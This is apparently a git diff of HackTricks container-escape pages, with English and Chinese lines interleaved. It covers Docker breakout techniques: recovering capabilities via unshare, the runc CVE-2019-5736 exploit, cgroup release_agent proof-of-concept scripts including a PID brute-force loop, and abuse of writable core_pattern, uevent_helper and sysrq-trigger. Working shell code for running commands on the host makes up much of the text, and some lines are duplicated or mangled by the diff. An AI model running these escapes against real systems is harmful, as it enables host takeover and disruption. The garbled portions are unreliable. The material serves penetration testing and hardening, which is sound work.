- **检查 /dev/shm** - 查找此共享内存位置中的任何文件: `ls -la /dev/shm`
- **检查现有的 IPC 设施** 您可以检查是否正在使用任何 IPC 设施,使用 `/usr/bin/ipcs`。检查命令为: `ipcs -a`
- **Inspect /dev/shm** - Look for any files in this shared memory location: `ls -la /dev/shm`
- **Inspect existing IPC facilities** You can check to see if any IPC facilities are being used with `/usr/bin/ipcs`. Check it with: `ipcs -a`
### Recover capabilities
If the syscall **`unshare`** is not forbidden you can recover all the capabilities running:
### 恢复能力
如果系统调用 **`unshare`** 没有被禁止,您可以通过运行来恢复所有能力:
```bash
unshare -UrmCpf bash
# Check them with
cat /proc/self/status | grep CapEff
```
### 用户命名空间滥用通过符号链接
### User namespace abuse via symlink
The second technique explained in the post [https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) indicates how you can abuse bind mounts with user namespaces, to affect files inside the host (in that specific case, delete files).
<figure><img src="../../../../images/image (48).png" alt=""><figcaption></figcaption></figure>
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=docker-breakout-privilege-escalation) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-breakout-privilege-escalation" %}
帖子中解释的第二种技术 [https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) 指出如何利用用户命名空间滥用绑定挂载,以影响主机内部的文件(在特定情况下,删除文件)。
## CVEs
### Runc exploit (CVE-2019-5736)
### Runc 漏洞 (CVE-2019-5736)
In case you can execute `docker exec` as root (probably with sudo), you try to escalate privileges escaping from a container abusing CVE-2019-5736 (exploit [here](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). This technique will basically **overwrite** the _**/bin/sh**_ binary of the **host** **from a container**, so anyone executing docker exec may trigger the payload.
如果您可以以 root 身份执行 `docker exec`(可能使用 sudo您可以尝试通过利用 CVE-2019-5736 来提升权限(漏洞 [在这里](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go))。该技术基本上会 **覆盖** **主机**_**/bin/sh**_ 二进制文件 **从容器中**,因此任何执行 docker exec 的人都可能触发有效载荷。
Change the payload accordingly and build the main.go with `go build main.go`. The resulting binary should be placed in the docker container for execution.\
Upon execution, as soon as it displays `[+] Overwritten /bin/sh successfully` you need to execute the following from the host machine:
相应地更改有效载荷,并使用 `go build main.go` 构建 main.go。生成的二进制文件应放置在 docker 容器中以供执行。\
执行时,一旦显示 `[+] Overwritten /bin/sh successfully`,您需要从主机机器执行以下命令:
`docker exec -it <container-name> /bin/sh`
This will trigger the payload which is present in the main.go file.
这将触发 main.go 文件中存在的有效载荷。
For more information: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html)
更多信息: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html)
> [!NOTE]
> There are other CVEs the container can be vulnerable too, you can find a list in [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list)
> 容器可能还会受到其他 CVE 的影响,您可以在 [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list) 找到列表。
## Docker Custom Escape
## Docker 自定义逃逸
### Docker Escape Surface
### Docker 逃逸表面
- **Namespaces:** The process should be **completely separated from other processes** via namespaces, so we cannot escape interacting with other procs due to namespaces (by default cannot communicate via IPCs, unix sockets, network svcs, D-Bus, `/proc` of other procs).
- **Root user**: By default the user running the process is the root user (however its privileges are limited).
- **Capabilities**: Docker leaves the following capabilities: `cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep`
- **Syscalls**: These are the syscalls that the **root user won't be able to call** (because of lacking capabilities + Seccomp). The other syscalls could be used to try to escape.
- **命名空间:** 进程应该通过命名空间与其他进程 **完全隔离**,因此我们无法通过命名空间与其他进程交互(默认情况下无法通过 IPC、Unix 套接字、网络服务、D-Bus、其他进程的 `/proc` 进行通信)。
- **根用户**:默认情况下,运行进程的用户是根用户(但其权限是有限的)。
- **能力**Docker 保留以下能力:`cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep`
- **系统调用**:这些是 **根用户无法调用** 的系统调用(因为缺乏能力 + Seccomp。其他系统调用可以用来尝试逃逸。
{{#tabs}}
{{#tab name="x64 syscalls"}}
```yaml
0x067 -- syslog
0x070 -- setsid
@ -560,11 +504,9 @@ For more information: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape
0x140 -- kexec_file_load
0x141 -- bpf
```
{{#endtab}}
{{#tab name="arm64 syscalls"}}
```
0x029 -- pivot_root
0x059 -- acct
@ -582,11 +524,9 @@ For more information: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape
0x111 -- finit_module
0x118 -- bpf
```
{{#endtab}}
{{#tab name="syscall_bf.c"}}
````c
// From a conversation I had with @arget131
// Fir bfing syscalss in x64
@ -598,31 +538,32 @@ For more information: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape
int main()
{
for(int i = 0; i < 333; ++i)
{
if(i == SYS_rt_sigreturn) continue;
if(i == SYS_select) continue;
if(i == SYS_pause) continue;
if(i == SYS_exit_group) continue;
if(i == SYS_exit) continue;
if(i == SYS_clone) continue;
if(i == SYS_fork) continue;
if(i == SYS_vfork) continue;
if(i == SYS_pselect6) continue;
if(i == SYS_ppoll) continue;
if(i == SYS_seccomp) continue;
if(i == SYS_vhangup) continue;
if(i == SYS_reboot) continue;
if(i == SYS_shutdown) continue;
if(i == SYS_msgrcv) continue;
printf("Probando: 0x%03x . . . ", i); fflush(stdout);
if((syscall(i, NULL, NULL, NULL, NULL, NULL, NULL) < 0) && (errno == EPERM))
printf("Error\n");
else
printf("OK\n");
}
for(int i = 0; i < 333; ++i)
{
if(i == SYS_rt_sigreturn) continue;
if(i == SYS_select) continue;
if(i == SYS_pause) continue;
if(i == SYS_exit_group) continue;
if(i == SYS_exit) continue;
if(i == SYS_clone) continue;
if(i == SYS_fork) continue;
if(i == SYS_vfork) continue;
if(i == SYS_pselect6) continue;
if(i == SYS_ppoll) continue;
if(i == SYS_seccomp) continue;
if(i == SYS_vhangup) continue;
if(i == SYS_reboot) continue;
if(i == SYS_shutdown) continue;
if(i == SYS_msgrcv) continue;
printf("Probando: 0x%03x . . . ", i); fflush(stdout);
if((syscall(i, NULL, NULL, NULL, NULL, NULL, NULL) < 0) && (errno == EPERM))
printf("Error\n");
else
printf("OK\n");
}
}
```
````
{{#endtab}}
@ -633,12 +574,12 @@ int main()
If you are in **userspace** (**no kernel exploit** involved) the way to find new escapes mainly involve the following actions (these templates usually require a container in privileged mode):
- Find the **path of the containers filesystem** inside the host
- You can do this via **mount**, or via **brute-force PIDs** as explained in the second release_agent exploit
- You can do this via **mount**, or via **brute-force PIDs** as explained in the second release_agent exploit
- Find some functionality where you can **indicate the path of a script to be executed by a host process (helper)** if something happens
- You should be able to **execute the trigger from inside the host**
- You need to know where the containers files are located inside the host to indicate a script you write inside the host
- You should be able to **execute the trigger from inside the host**
- You need to know where the containers files are located inside the host to indicate a script you write inside the host
- Have **enough capabilities and disabled protections** to be able to abuse that functionality
- You might need to **mount things** o perform **special privileged actions** you cannot do in a default docker container
- You might need to **mount things** o perform **special privileged actions** you cannot do in a default docker container
## References
@ -650,11 +591,4 @@ If you are in **userspace** (**no kernel exploit** involved) the way to find new
- [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket)
- [https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4](https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4)
<figure><img src="../../../../images/image (48).png" alt=""><figcaption></figcaption></figure>
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=docker-breakout-privilege-escalation) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-breakout-privilege-escalation" %}
{{#include ../../../../banners/hacktricks-training.md}}

View File

@ -2,10 +2,9 @@
{{#include ../../../../banners/hacktricks-training.md}}
**For further details, refer to the** [**original blog post**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**.** This is just a summary:
**有关更多详细信息,请参阅** [**原始博客文章**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**。** 这只是一个摘要:
Original PoC:
```shell
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
@ -13,49 +12,38 @@ t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
```
概念验证PoC演示了一种通过创建 `release_agent` 文件并触发其调用以在容器主机上执行任意命令来利用 cgroups 的方法。以下是涉及的步骤细分:
The proof of concept (PoC) demonstrates a method to exploit cgroups by creating a `release_agent` file and triggering its invocation to execute arbitrary commands on the container host. Here's a breakdown of the steps involved:
1. **Prepare the Environment:**
- A directory `/tmp/cgrp` is created to serve as a mount point for the cgroup.
- The RDMA cgroup controller is mounted to this directory. In case of absence of the RDMA controller, it's suggested to use the `memory` cgroup controller as an alternative.
1. **准备环境:**
- 创建一个目录 `/tmp/cgrp` 作为 cgroup 的挂载点。
- 将 RDMA cgroup 控制器挂载到该目录。如果 RDMA 控制器不存在,建议使用 `memory` cgroup 控制器作为替代。
```shell
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
```
2. **Set Up the Child Cgroup:**
- A child cgroup named "x" is created within the mounted cgroup directory.
- Notifications are enabled for the "x" cgroup by writing 1 to its notify_on_release file.
2. **设置子 Cgroup**
- 在挂载的 cgroup 目录中创建一个名为 "x" 的子 cgroup。
- 通过向其 notify_on_release 文件写入 1 来为 "x" cgroup 启用通知。
```shell
echo 1 > /tmp/cgrp/x/notify_on_release
```
3. **Configure the Release Agent:**
- The path of the container on the host is obtained from the /etc/mtab file.
- The release_agent file of the cgroup is then configured to execute a script named /cmd located at the acquired host path.
3. **配置释放代理:**
- 从 /etc/mtab 文件中获取主机上容器的路径。
- 然后将 cgroup 的 release_agent 文件配置为执行位于获取的主机路径上的名为 /cmd 的脚本。
```shell
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
```
4. **Create and Configure the /cmd Script:**
- The /cmd script is created inside the container and is configured to execute ps aux, redirecting the output to a file named /output in the container. The full path of /output on the host is specified.
4. **创建和配置 /cmd 脚本:**
- /cmd 脚本在容器内创建,并配置为执行 ps aux将输出重定向到容器中的一个名为 /output 的文件。指定了主机上 /output 的完整路径。
```shell
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
```
5. **Trigger the Attack:**
- A process is initiated within the "x" child cgroup and is immediately terminated.
- This triggers the `release_agent` (the /cmd script), which executes ps aux on the host and writes the output to /output within the container.
5. **触发攻击:**
- 在 "x" 子 cgroup 内启动一个进程,并立即终止。
- 这会触发 `release_agent`/cmd 脚本),该脚本在主机上执行 ps aux 并将输出写入容器内的 /output。
```shell
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
```
{{#include ../../../../banners/hacktricks-training.md}}

View File

@ -1,27 +1,26 @@
{{#include ../../../../banners/hacktricks-training.md}}
For further details **check the blog port from [https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html)**. This is just a summary:
有关更多详细信息,请**查看来自 [https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html)** 的博客文章。这只是一个摘要:
The technique outlines a method for **executing host code from within a container**, overcoming challenges posed by storage-driver configurations that obscure the container's filesystem path on the host, like Kata Containers or specific `devicemapper` settings.
该技术概述了一种**从容器内执行主机代码**的方法,克服了存储驱动程序配置带来的挑战,这些配置会模糊主机上的容器文件系统路径,例如 Kata Containers 或特定的 `devicemapper` 设置。
Key steps:
关键步骤:
1. **Locating Process IDs (PIDs):** Using the `/proc/<pid>/root` symbolic link in the Linux pseudo-filesystem, any file within the container can be accessed relative to the host's filesystem. This bypasses the need to know the container's filesystem path on the host.
2. **PID Bashing:** A brute force approach is employed to search through PIDs on the host. This is done by sequentially checking for the presence of a specific file at `/proc/<pid>/root/<file>`. When the file is found, it indicates that the corresponding PID belongs to a process running inside the target container.
3. **Triggering Execution:** The guessed PID path is written to the `cgroups release_agent` file. This action triggers the execution of the `release_agent`. The success of this step is confirmed by checking for the creation of an output file.
1. **定位进程 ID (PIDs)** 使用 Linux 伪文件系统中的 `/proc/<pid>/root` 符号链接,可以相对于主机的文件系统访问容器内的任何文件。这绕过了需要知道主机上容器文件系统路径的要求。
2. **PID 碰撞:** 采用暴力破解的方法搜索主机上的 PIDs。这是通过依次检查 `/proc/<pid>/root/<file>` 中特定文件的存在来完成的。当找到该文件时,表明相应的 PID 属于在目标容器内运行的进程。
3. **触发执行:** 猜测的 PID 路径被写入 `cgroups release_agent` 文件。此操作触发 `release_agent` 的执行。通过检查输出文件的创建来确认此步骤的成功。
### Exploitation Process
### 利用过程
The exploitation process involves a more detailed set of actions, aiming to execute a payload on the host by guessing the correct PID of a process running inside the container. Here's how it unfolds:
利用过程涉及一系列更详细的操作,旨在通过猜测在容器内运行的进程的正确 PID 来在主机上执行有效载荷。以下是其展开方式:
1. **Initialize Environment:** A payload script (`payload.sh`) is prepared on the host, and a unique directory is created for cgroup manipulation.
2. **Prepare Payload:** The payload script, which contains the commands to be executed on the host, is written and made executable.
3. **Set Up Cgroup:** The cgroup is mounted and configured. The `notify_on_release` flag is set to ensure that the payload executes when the cgroup is released.
4. **Brute Force PID:** A loop iterates through potential PIDs, writing each guessed PID to the `release_agent` file. This effectively sets the payload script as the `release_agent`.
5. **Trigger and Check Execution:** For each PID, the cgroup's `cgroup.procs` is written to, triggering the execution of the `release_agent` if the PID is correct. The loop continues until the output of the payload script is found, indicating successful execution.
PoC from the blog post:
1. **初始化环境:** 在主机上准备一个有效载荷脚本 (`payload.sh`),并为 cgroup 操作创建一个唯一的目录。
2. **准备有效载荷:** 编写并使有效载荷脚本可执行,该脚本包含要在主机上执行的命令。
3. **设置 Cgroup** 挂载并配置 cgroup。设置 `notify_on_release` 标志,以确保在释放 cgroup 时执行有效载荷。
4. **暴力破解 PID** 循环遍历潜在的 PIDs将每个猜测的 PID 写入 `release_agent` 文件。这有效地将有效载荷脚本设置为 `release_agent`
5. **触发并检查执行:** 对于每个 PID写入 cgroup 的 `cgroup.procs`,如果 PID 正确,则触发 `release_agent` 的执行。循环继续,直到找到有效载荷脚本的输出,表明执行成功。
来自博客文章的 PoC
```bash
#!/bin/sh
@ -60,20 +59,20 @@ echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release
TPID=1
while [ ! -f ${OUTPUT_PATH} ]
do
if [ $((${TPID} % 100)) -eq 0 ]
then
echo "Checking pid ${TPID}"
if [ ${TPID} -gt ${MAX_PID} ]
then
echo "Exiting at ${MAX_PID} :-("
exit 1
fi
fi
# Set the release_agent path to the guessed pid
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
# Trigger execution of the release_agent
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
TPID=$((${TPID} + 1))
if [ $((${TPID} % 100)) -eq 0 ]
then
echo "Checking pid ${TPID}"
if [ ${TPID} -gt ${MAX_PID} ]
then
echo "Exiting at ${MAX_PID} :-("
exit 1
fi
fi
# Set the release_agent path to the guessed pid
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
# Trigger execution of the release_agent
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
TPID=$((${TPID} + 1))
done
# Wait for and cat the output
@ -81,5 +80,4 @@ sleep 1
echo "Done! Output:"
cat ${OUTPUT_PATH}
```
{{#include ../../../../banners/hacktricks-training.md}}

View File

@ -1,182 +1,174 @@
# Sensitive Mounts
# 敏感挂载
{{#include ../../../../banners/hacktricks-training.md}}
<figure><img src="../../../..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
暴露 `/proc``/sys` 而没有适当的命名空间隔离会引入重大安全风险,包括攻击面扩大和信息泄露。这些目录包含敏感文件,如果配置错误或被未经授权的用户访问,可能导致容器逃逸、主机修改或提供有助于进一步攻击的信息。例如,错误地挂载 `-v /proc:/host/proc` 可能会由于其基于路径的特性绕过 AppArmor 保护,使得 `/host/proc` 没有保护。
{% embed url="https://websec.nl/" %}
**您可以在** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)** 中找到每个潜在漏洞的更多详细信息。**
The exposure of `/proc` and `/sys` without proper namespace isolation introduces significant security risks, including attack surface enlargement and information disclosure. These directories contain sensitive files that, if misconfigured or accessed by an unauthorized user, can lead to container escape, host modification, or provide information aiding further attacks. For instance, incorrectly mounting `-v /proc:/host/proc` can bypass AppArmor protection due to its path-based nature, leaving `/host/proc` unprotected.
**You can find further details of each potential vuln in** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.**
## procfs Vulnerabilities
## procfs 漏洞
### `/proc/sys`
This directory permits access to modify kernel variables, usually via `sysctl(2)`, and contains several subdirectories of concern:
该目录允许访问以修改内核变量,通常通过 `sysctl(2)`,并包含几个关注的子目录:
#### **`/proc/sys/kernel/core_pattern`**
- Described in [core(5)](https://man7.org/linux/man-pages/man5/core.5.html).
- Allows defining a program to execute on core-file generation with the first 128 bytes as arguments. This can lead to code execution if the file begins with a pipe `|`.
- **Testing and Exploitation Example**:
- 在 [core(5)](https://man7.org/linux/man-pages/man5/core.5.html) 中描述。
- 允许定义在核心文件生成时执行的程序,前 128 字节作为参数。如果文件以管道 `|` 开头,可能导致代码执行。
- **测试和利用示例**
```bash
[ -w /proc/sys/kernel/core_pattern ] && echo Yes # Test write access
cd /proc/sys/kernel
echo "|$overlay/shell.sh" > core_pattern # Set custom handler
sleep 5 && ./crash & # Trigger handler
```
```bash
[ -w /proc/sys/kernel/core_pattern ] && echo Yes # 测试写入访问
cd /proc/sys/kernel
echo "|$overlay/shell.sh" > core_pattern # 设置自定义处理程序
sleep 5 && ./crash & # 触发处理程序
```
#### **`/proc/sys/kernel/modprobe`**
- Detailed in [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
- Contains the path to the kernel module loader, invoked for loading kernel modules.
- **Checking Access Example**:
- 在 [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html) 中详细说明。
- 包含内核模块加载器的路径,用于加载内核模块。
- **检查访问示例**
```bash
ls -l $(cat /proc/sys/kernel/modprobe) # Check access to modprobe
```
```bash
ls -l $(cat /proc/sys/kernel/modprobe) # 检查对 modprobe 的访问
```
#### **`/proc/sys/vm/panic_on_oom`**
- Referenced in [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
- A global flag that controls whether the kernel panics or invokes the OOM killer when an OOM condition occurs.
- 在 [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html) 中引用。
- 一个全局标志,控制内核在发生 OOM 条件时是否崩溃或调用 OOM 杀手。
#### **`/proc/sys/fs`**
- As per [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html), contains options and information about the file system.
- Write access can enable various denial-of-service attacks against the host.
- 根据 [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html),包含有关文件系统的选项和信息。
- 写入访问可能会启用对主机的各种拒绝服务攻击。
#### **`/proc/sys/fs/binfmt_misc`**
- Allows registering interpreters for non-native binary formats based on their magic number.
- Can lead to privilege escalation or root shell access if `/proc/sys/fs/binfmt_misc/register` is writable.
- Relevant exploit and explanation:
- [Poor man's rootkit via binfmt_misc](https://github.com/toffan/binfmt_misc)
- In-depth tutorial: [Video link](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
- 允许根据其魔数注册非本地二进制格式的解释器。
- 如果 `/proc/sys/fs/binfmt_misc/register` 可写,可能导致特权升级或 root shell 访问。
- 相关利用和解释:
- [Poor man's rootkit via binfmt_misc](https://github.com/toffan/binfmt_misc)
- 深入教程:[视频链接](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
### Others in `/proc`
### `/proc` 中的其他内容
#### **`/proc/config.gz`**
- May reveal the kernel configuration if `CONFIG_IKCONFIG_PROC` is enabled.
- Useful for attackers to identify vulnerabilities in the running kernel.
- 如果启用了 `CONFIG_IKCONFIG_PROC`,可能会泄露内核配置。
- 对攻击者识别运行内核中的漏洞非常有用。
#### **`/proc/sysrq-trigger`**
- Allows invoking Sysrq commands, potentially causing immediate system reboots or other critical actions.
- **Rebooting Host Example**:
- 允许调用 Sysrq 命令,可能导致立即重启系统或其他关键操作。
- **重启主机示例**
```bash
echo b > /proc/sysrq-trigger # Reboots the host
```
```bash
echo b > /proc/sysrq-trigger # 重启主机
```
#### **`/proc/kmsg`**
- Exposes kernel ring buffer messages.
- Can aid in kernel exploits, address leaks, and provide sensitive system information.
- 暴露内核环形缓冲区消息。
- 可以帮助进行内核利用、地址泄露,并提供敏感系统信息。
#### **`/proc/kallsyms`**
- Lists kernel exported symbols and their addresses.
- Essential for kernel exploit development, especially for overcoming KASLR.
- Address information is restricted with `kptr_restrict` set to `1` or `2`.
- Details in [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
- 列出内核导出的符号及其地址。
- 对于内核利用开发至关重要,特别是克服 KASLR。
- 地址信息在 `kptr_restrict` 设置为 `1``2` 时受到限制。
- 详细信息见 [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)。
#### **`/proc/[pid]/mem`**
- Interfaces with the kernel memory device `/dev/mem`.
- Historically vulnerable to privilege escalation attacks.
- More on [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
- 与内核内存设备 `/dev/mem` 交互。
- 历史上容易受到特权升级攻击。
- 更多信息见 [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)。
#### **`/proc/kcore`**
- Represents the system's physical memory in ELF core format.
- Reading can leak host system and other containers' memory contents.
- Large file size can lead to reading issues or software crashes.
- Detailed usage in [Dumping /proc/kcore in 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/).
- 以 ELF 核心格式表示系统的物理内存。
- 读取可能会泄露主机系统和其他容器的内存内容。
- 大文件大小可能导致读取问题或软件崩溃。
- 详细用法见 [Dumping /proc/kcore in 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/)
#### **`/proc/kmem`**
- Alternate interface for `/dev/kmem`, representing kernel virtual memory.
- Allows reading and writing, hence direct modification of kernel memory.
- `/dev/kmem` 的替代接口,表示内核虚拟内存。
- 允许读取和写入,因此可以直接修改内核内存。
#### **`/proc/mem`**
- Alternate interface for `/dev/mem`, representing physical memory.
- Allows reading and writing, modification of all memory requires resolving virtual to physical addresses.
- `/dev/mem` 的替代接口,表示物理内存。
- 允许读取和写入,修改所有内存需要解析虚拟地址到物理地址。
#### **`/proc/sched_debug`**
- Returns process scheduling information, bypassing PID namespace protections.
- Exposes process names, IDs, and cgroup identifiers.
- 返回进程调度信息,绕过 PID 命名空间保护。
- 暴露进程名称、ID 和 cgroup 标识符。
#### **`/proc/[pid]/mountinfo`**
- Provides information about mount points in the process's mount namespace.
- Exposes the location of the container `rootfs` or image.
- 提供有关进程挂载命名空间中挂载点的信息。
- 暴露容器 `rootfs` 或映像的位置。
### `/sys` Vulnerabilities
### `/sys` 漏洞
#### **`/sys/kernel/uevent_helper`**
- Used for handling kernel device `uevents`.
- Writing to `/sys/kernel/uevent_helper` can execute arbitrary scripts upon `uevent` triggers.
- **Example for Exploitation**: %%%bash
- 用于处理内核设备 `uevents`
- 写入 `/sys/kernel/uevent_helper` 可以在 `uevent` 触发时执行任意脚本。
- **利用示例** %%%bash
#### Creates a payload
#### 创建有效负载
echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper
echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper
#### Finds host path from OverlayFS mount for container
#### 从 OverlayFS 挂载中查找主机路径
host*path=$(sed -n 's/.*\perdir=(\[^,]\_).\*/\1/p' /etc/mtab)
host*path=$(sed -n 's/.*\perdir=(\[^,]\_).\*/\1/p' /etc/mtab)
#### Sets uevent_helper to malicious helper
#### 将 uevent_helper 设置为恶意助手
echo "$host_path/evil-helper" > /sys/kernel/uevent_helper
echo "$host_path/evil-helper" > /sys/kernel/uevent_helper
#### Triggers a uevent
#### 触发 uevent
echo change > /sys/class/mem/null/uevent
echo change > /sys/class/mem/null/uevent
#### Reads the output
#### 读取输出
cat /output %%%
cat /output %%%
#### **`/sys/class/thermal`**
- Controls temperature settings, potentially causing DoS attacks or physical damage.
- 控制温度设置,可能导致 DoS 攻击或物理损坏。
#### **`/sys/kernel/vmcoreinfo`**
- Leaks kernel addresses, potentially compromising KASLR.
- 泄露内核地址,可能危及 KASLR。
#### **`/sys/kernel/security`**
- Houses `securityfs` interface, allowing configuration of Linux Security Modules like AppArmor.
- Access might enable a container to disable its MAC system.
- 存放 `securityfs` 接口,允许配置 Linux 安全模块,如 AppArmor。
- 访问可能使容器能够禁用其 MAC 系统。
#### **`/sys/firmware/efi/vars` and `/sys/firmware/efi/efivars`**
#### **`/sys/firmware/efi/vars` `/sys/firmware/efi/efivars`**
- Exposes interfaces for interacting with EFI variables in NVRAM.
- Misconfiguration or exploitation can lead to bricked laptops or unbootable host machines.
- 暴露与 NVRAM 中的 EFI 变量交互的接口。
- 配置错误或利用可能导致笔记本电脑砖化或主机无法启动。
#### **`/sys/kernel/debug`**
- `debugfs` offers a "no rules" debugging interface to the kernel.
- History of security issues due to its unrestricted nature.
- `debugfs` 提供了一个“无规则”的内核调试接口。
- 由于其不受限制的特性,历史上存在安全问题。
### References
### 参考文献
- [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)
- [Understanding and Hardening Linux Containers](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc_group_understanding_hardening_linux_containers-1-1.pdf)
- [Abusing Privileged and Unprivileged Linux Containers](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container_whitepaper.pdf)
<figure><img src="../../../..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
- [理解和强化 Linux 容器](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc_group_understanding_hardening_linux_containers-1-1.pdf)
- [滥用特权和非特权 Linux 容器](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container_whitepaper.pdf)
{{#include ../../../../banners/hacktricks-training.md}}

View File

@ -2,28 +2,25 @@
{{#include ../../../banners/hacktricks-training.md}}
## What Affects
## 影响
When you run a container as privileged these are the protections you are disabling:
当你以特权模式运行容器时,你正在禁用以下保护:
### Mount /dev
### 挂载 /dev
In a privileged container, all the **devices can be accessed in `/dev/`**. Therefore you can **escape** by **mounting** the disk of the host.
在特权容器中,所有的 **设备可以在 `/dev/` 中访问**。因此,你可以通过 **挂载** 主机的磁盘来 **逃逸**
{{#tabs}}
{{#tab name="Inside default container"}}
```bash
# docker run --rm -it alpine sh
ls /dev
console fd mqueue ptmx random stderr stdout urandom
core full null pts shm stdin tty zero
```
{{#endtab}}
{{#tab name="Inside Privileged Container"}}
{{#tab name="内部特权容器"}}
```bash
# docker run --rm --privileged -it alpine sh
ls /dev
@ -33,17 +30,15 @@ core mqueue ptmx stdin tty26
cpu nbd0 pts stdout tty27 tty47 ttyS0
[...]
```
{{#endtab}}
{{#endtabs}}
### Read-only kernel file systems
### 只读内核文件系统
Kernel file systems provide a mechanism for a process to modify the behavior of the kernel. However, when it comes to container processes, we want to prevent them from making any changes to the kernel. Therefore, we mount kernel file systems as **read-only** within the container, ensuring that the container processes cannot modify the kernel.
内核文件系统为进程提供了一种修改内核行为的机制。然而,对于容器进程,我们希望防止它们对内核进行任何更改。因此,我们在容器内将内核文件系统挂载为**只读**,确保容器进程无法修改内核。
{{#tabs}}
{{#tab name="Inside default container"}}
```bash
# docker run --rm -it alpine sh
mount | grep '(ro'
